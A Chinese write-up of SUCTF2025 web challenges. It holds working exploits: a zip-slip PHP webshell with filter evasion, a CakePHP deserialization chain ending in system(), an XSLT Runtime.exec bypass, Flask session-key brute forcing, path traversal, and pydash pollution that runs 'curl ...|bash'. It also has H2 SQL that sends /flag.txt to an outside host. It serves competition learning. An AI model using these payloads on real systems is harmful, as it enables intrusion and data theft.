SUCTF2025 Web方向部分思路


又是被带飞的一集

SU_photogallery

有点抽象()

这题的意思是告诉你是一个测试开发中的服务器,也就是说大概率是php -S启动的服务器。而php -S启动的服务器有个漏洞,通过这个漏洞我们就能够拿到源码:

1
2
3
4
5
6
7
GET /unzip.php HTTP/1.1
Host: 1.95.157.235:10001


GET /1.txt HTTP/1.1


源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;

if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}

}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}

}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}

这里主要有几个过程:

  • check_content($zip)
  • 新建临时文件夹解压文件
  • 检查后缀是否合法并移动到真正的上传文件夹(upload/suimages)里

check_content里过滤了简单的文件穿越,同时对内容进行了简单的限制。这里最关键的就是怎么能够把我们的shell解压出去。

这里其实可以通过zip slip进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$zip = new ZipArchive();
$filename = "test_exp.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$filename>\n");
}
$zip->addFile('1.php', "..\./..\./a.jpg");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
echo $fileName;
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
echo "NO";
}
}
$zip->close();
?>

因为这个正则表达式其实是匹配:

  • ../
  • ...
  • ..%2e%2e%2f

上面这三种形式,而$zip->addFile('1.php', "..\./..\./a.jpg");可以bypass掉。

最后就可以通过之前development的源码泄露问题将jpg作为php解析,最后得到一个shell:

1
2
3
4
5
GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1
Host: 1.95.157.235:10002
Connection: close

GET /upload/suimages/a.php?1=cat%20/seef1ag_getfl4g HTTP/1.1

1.php:

1
<?php echo("fuck");$ch = explode(".","sys.tem");$c = $ch[0].$ch[1];$c($_GET[1]);

官方预期解是这样的:

利用注意力惊人的注意到:

1
2
3
4
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}

这里并没有return,我们就可以通过它来将我们的shell解压正常,而解压另一个文件的时候报错,导致解压失败关闭zip流,然后下面的for循环因为关闭了zip流就检测不了了,即可绕过。

https://www.anquanke.com/post/id/246722中提及:

linux和window都不可以以/为文件名

因此可以将文件名设置为/从而使得解压失败,当然这一步需要跟该文章中的操作一致,先使用一个标识符,然后再使用winhex或者010将其改为/。最后解压的时候shell会成功解压,而/这个文件会解压失败,从而关闭了zip流,绕过成功。最后就能够直接rce了

其实应该就是zip->extractTo没有return导致的一个问题,注意力惊人.jpg

SU_POP

是一个cakephp,去github找源码发现这个版本是一个月前的较新版本,因此旧版本的利用方式肯定是行不通了,我们要挖掘一条新的利用链出来。

参考的思路如下:

click_me

上面的参考思路的终点是:vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php

对应附件的cakephp514/vendor/......(…代表完全一致)

BehaviorRegistry.php里有一个call方法,该call()直接通过调用的某个类的某个共有方法并传参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function call(string $method, array $args = []): mixed
{
$method = strtolower($method);
if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
[$behavior, $callMethod] = $this->_methodMap[$method];

return $this->_loaded[$behavior]->{$callMethod}(...$args);
}

throw new BadMethodCallException(
sprintf('Cannot call `%s`, it does not belong to any attached behavior.', $method),
);
}

而且触发该call的方式也有,位于vendor\cakephp\cakephp\src\ORM\Table.php

这里会调用$this->_behaviors->call($method, $args);

直到call及之前的方法都是我们可以直接使用的。而call之后调用什么方法呢?由于高版本下ServerShellBufferedStatement都被修改掉了,因此我们得找一个新的方法去rce。这里就用比较蠢的方法了,首先全局搜索了eval(),找到了一个比较干净的eval,位于vendor/phpunit/phpunit/src/Framework/MockObject/Generator/MockClass.php,这里直接进行了eval($this->classCode);,因此直接调用该generate方法即可。

https://blog.csdn.net/why811/article/details/133812903有之前版本的exp,需要前半部分套来用一下,注意BehaviorRegistry的源码有过变动,因此我们要修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace Cake\Core;
abstract class ObjectRegistry{
public $_loaded = [];
}

namespace Cake\ORM;
class Table{
public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry{
protected array $_methodMap = [];
public function __construct($obj)
{
$this->_methodMap = [];
$this->_loaded = [];
}
}

这部分都是可以用的,后面由于链子变了,因此也会发生变化。我们还没找到如何触发__call()的方法

寻找魔术方法的入口基本上寻找:__destruct__wakeup,然后通过传递到终点。

文章里的两处__destruct均已被修复,因此我们要找新的__destruct

发现RejectedPromise里的__destruct()方法会将$this->reason和字符串拼接起来,能够触发__toString方法,接下来尝试通过__toString去触发__call(调用不存在的方法触发__call,找到$this->a->b()的形式)

发现Response.php__toString能够利用( return $this->stream->getContents();)

因此找到了链子:

1
__destruct->__toString->__call->call->eval

同时我们也知道了call()里面要填什么了,本质上其实是通过$a->callMethod(...$args)调用的,$callMethod_methodMap[$method]控制,$method__call方法传入的不存在的函数名控制,这里就是rewind()

也就是说$behavior和$callMethod就通过_methodMap['rewind']数组控制,并且我们控制_loaded[$behavior]new MockClass即可

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace Cake\Core;
abstract class ObjectRegistry{
public $_loaded = [];
}

namespace Cake\ORM;
class Table{
public $_behaviors;
public function __construct($obj)
{
$this->_behaviors = $obj;
}
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry{
protected array $_methodMap = [];
public function __construct($obj)
{
$this->_methodMap = ["rewind"=>["MockClass", "generate"]];
$this->_loaded = ["MockClass"=>$obj]; // 控制obj为new MockClass
}
}

namespace PHPUnit\Framework\MockObject\Generator;
class MockClass{
private string $classCode;
private string $mockName;
public function __construct(string $classCode, string $mockName)
{
$this->classCode = $classCode;
$this->mockName = $mockName;
}
}

namespace Cake\Http;
class Response{
private $stream;
public function __construct($obj){
$this->stream = $obj;
}
}

namespace React\Promise\Internal;
class RejectedPromise{
private $handled = false;
private $reason;
public function __construct($obj)
{
$this->reason = $obj;
}
}

$a = new \PHPUnit\Framework\MockObject\Generator\MockClass('system("find . -exec /bin/cat /flag.txt \; -quit");', "xxx");
$b = new \Cake\ORM\BehaviorRegistry($a);
$c = new \Cake\ORM\Table($b);
$d = new \Cake\Http\Response($c);
$e = new \React\Promise\Internal\RejectedPromise($d);
echo base64_encode(serialize($e));

//TzozODoiUmVhY3RcUHJvbWlzZVxJbnRlcm5hbFxSZWplY3RlZFByb21pc2UiOjI6e3M6NDc6IgBSZWFjdFxQcm9taXNlXEludGVybmFsXFJlamVjdGVkUHJvbWlzZQBoYW5kbGVkIjtiOjA7czo0NjoiAFJlYWN0XFByb21pc2VcSW50ZXJuYWxcUmVqZWN0ZWRQcm9taXNlAHJlYXNvbiI7TzoxODoiQ2FrZVxIdHRwXFJlc3BvbnNlIjoxOntzOjI2OiIAQ2FrZVxIdHRwXFJlc3BvbnNlAHN0cmVhbSI7TzoxNDoiQ2FrZVxPUk1cVGFibGUiOjE6e3M6MTA6Il9iZWhhdmlvcnMiO086MjU6IkNha2VcT1JNXEJlaGF2aW9yUmVnaXN0cnkiOjI6e3M6MTM6IgAqAF9tZXRob2RNYXAiO2E6MTp7czo2OiJyZXdpbmQiO2E6Mjp7aTowO3M6OToiTW9ja0NsYXNzIjtpOjE7czo4OiJnZW5lcmF0ZSI7fX1zOjc6Il9sb2FkZWQiO2E6MTp7czo5OiJNb2NrQ2xhc3MiO086NDg6IlBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcyI6Mjp7czo1OToiAFBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcwBjbGFzc0NvZGUiO3M6NTE6InN5c3RlbSgiZmluZCAuIC1leGVjIC9iaW4vY2F0IC9mbGFnLnR4dCBcOyAtcXVpdCIpOyI7czo1ODoiAFBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcwBtb2NrTmFtZSI7czozOiJ4eHgiO319fX19fQ==

SU_Pwn

给的是一个jar附件。一个很简单的文件上传,关键在调用,很明显让我们往xslt的方向去想:

找到了使用例,并且jar中的pom.xml也是2.7.2:

https://blog.noah.360.net/xalan-j-integer-truncation-reproduce-cve-2022-34169/

但是这里有waf,过滤了Runtime和ProcessBuilder

https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f里有该环境下使用的`select.xslt`,利用它加以改造。

值得一提的是在xslt中能够支持html实体编码)

因此可以利用编码绕过waf:

1
<xsl:value-of select="runtime:exec(runtime:get&#82;untime(),'bash -c id')" xmlns:runtime="java.lang.&#82;untime"/>

测试可以通过dnslog带出,用curl:

1
curl `cmd`.dnslog.xxx

SU_blog

页面提示建站时间戳的md5值为session的key,并且通过题目描述可以得到建站时间,但是这个建站时间不一定准确,因此通过前后五分钟的差距来爆破key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import time
import hashlib
from flask_unsign import session as flask_session

SESSION_COOKIE = "eyJ1c2VybmFtZSI6InRlc3QifQ.Z4OTKw.S9f0Jnmqp5Q0QPp8p2U3j4aMpvY"

def get_md5(value):
"""计算字符串的MD5值"""
md5_hash = hashlib.md5()
md5_hash.update(value.encode('utf-8'))
return md5_hash.hexdigest()

def main():
payload="admin"
# 获取当前时间戳
current_time = int(time.time())
# 计算前五分钟的起始时间戳
start_time = current_time - 60 * 60
# 遍历前60分钟的所有时间戳
for timestamp in range(start_time, current_time + 1):
# 将时间戳转换为字符串后计算MD5值
md5_value = get_md5(str(timestamp))
key=md5_value

data = flask_session.verify(SESSION_COOKIE, secret=key)
if data==False:
continue
else:
print(f"[+] 找到密钥: {key}")
data = flask_session.decode(SESSION_COOKIE)
print(f"[+] 解码后的数据: {data}")
ses=flask_session.sign({'username':f'{payload}'}, secret=key)
print(f"[+] 签名后的数据: {ses}")
break

if __name__ == "__main__":
main()

爆破后得到key,将session修改为admin。发现读博客文章的时候的url为http://27.25.151.48:5000/article?file=尝试通过目录穿越,测试得到:

1
http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././etc/passwd

可以得到内容,因此通过:

1
http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././proc/self/cwd/app/app.py

得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}

friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
def __init__(self):
pass

user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))

if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']

if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))

return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

name = request.form.get('name')
url = request.form.get('url')

if name and url:
friend_links.append({"name": name, "url": url})

return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

if 0 <= index < len(friend_links):
del friend_links[index]

return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))

file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")

blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")

if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")

if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")

file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"

return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json

if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400

key = body.get('key')
value = body.get('value')

if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400

if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400

set_(user_data, key, value)

flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200

except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500

return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))



if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

这里就可以很明显地注意到set_(user_data, key, value)了,这里的set_就是pydash的set,考pydash原型链污染,但是有waf,我们接着读waf.py,由于源码里会将url的../置空,因此可以通过wa../f.py绕过从而读到waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #waf.py  
key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]

def check_blacklist(data, blacklist):
for item in blacklist:
if item in data:
return False
return True

def pwaf(key):
# 将 key 转换为字节串
key_bytes = key.encode()
if not check_blacklist(key_bytes, key_blacklist_bytes):
print(f"Key contains blacklisted words.")
return False
return True

def cwaf(value):
if len(value) > 77:
print("Value exceeds 77 characters.")
return False

# 将 value 转换为字节串
value_bytes = value.encode()
if not check_blacklist(value_bytes, value_blacklist_bytes):
print(f"Value contains blacklisted words.")
return False
return True

由于题目并没有明确让我们污染哪里,因此直接通过:https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/#命令执行的payload打:

1
2
3
4
5
POST /set HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"}

但是题目的waf过滤了013456789__loader__,但是https://tttang.com/archive/1876/里提及`__spec__`和`__loader__`起到一样的作用:

因此将__loader__换为__spec__

1
{"name":"__init__.__globals__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('id')"}

ps:大哥们用这个绕过去的:

1
{"key":"__init__.__globals__.Flask.jinja_loader.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl -fs xxx:45/1.sh|bash')"}

题目没过滤curl,用curl打即可。同时在system里就可以使用常见的绕过过滤的方式了(单双引号)

SU_ez_solon

国赛book manager复刻版,思路变简单了。思路:https://xz.aliyun.com/t/16878?time__1311=Gui%3DGK0Iq%2BED%2FD0l7GkDuWT22EWxRxl%2BbD

注意这里直接调用了toString(),省去了我们readObject调用XString去触发toString的操作

这里还有一个问题就是因为题目换了一个hessian,换成了alipay的hessian,导致了我们原本使用的sun.print这个也被waf掉了:

至于题目为什么直接给你调用toString,那就需要你好好地摸索一番了:

最后要绕SecurityManager,记得好像直接能够将其置为null?

至于怎么bypasssun.print呢,题目给了h2依赖,那这就很容易解决了:

1
toString->触发fastjson的getter->DriverManager.getConnection

UnpooledDataSource内提供了getConnection方法,由此可以打h2的rce:

1
2
3
4
5
6
7
8
@Override
public Connection getConnection() throws SQLException {
if (username == null) {
return DriverManager.getConnection(url);
} else {
return DriverManager.getConnection(url, username, password);
}
}

1.sql:

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "y4tacker";}';CALL EXEC ('open -a Calculator.app')

由于要读flag,改成URL(也是用大哥的sql):

1
2
3
CREATE ALIAS EXECf AS 'String shellexec(String cmd) throws java.io.IOException {String str = "";java.io.File file = new java.io.File("/flag.txt");try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file))) {String line;while ((line = reader.readLine()) != null) {    str += line;}} catch (java.io.IOException e) {e.printStackTrace();} java.net.URL url = new java.net.URL("http://8.134.216.221:1234/test?str="+str);java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();connection.setRequestMethod("GET");connection.setRequestProperty("User-Agent", "Java HTTP Client");int responseCode = connection.getResponseCode(); return "";}';

CALL EXECf ('114514')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.138.127.74:2333/poc.sql'";

UnpooledDataSource unpooledDataSource = new UnpooledDataSource(connectionUrl, "1", "2", "org.h2.Driver");

// 封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unpooledDataSource);

SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
FileOutputStream bout = new FileOutputStream("ser.bin");
Hessian2Output hout = new Hessian2Output(bout);
hout.setSerializerFactory(serializerFactory);
hout.writeObject(jsonObject);
hout.flush();
hout.close();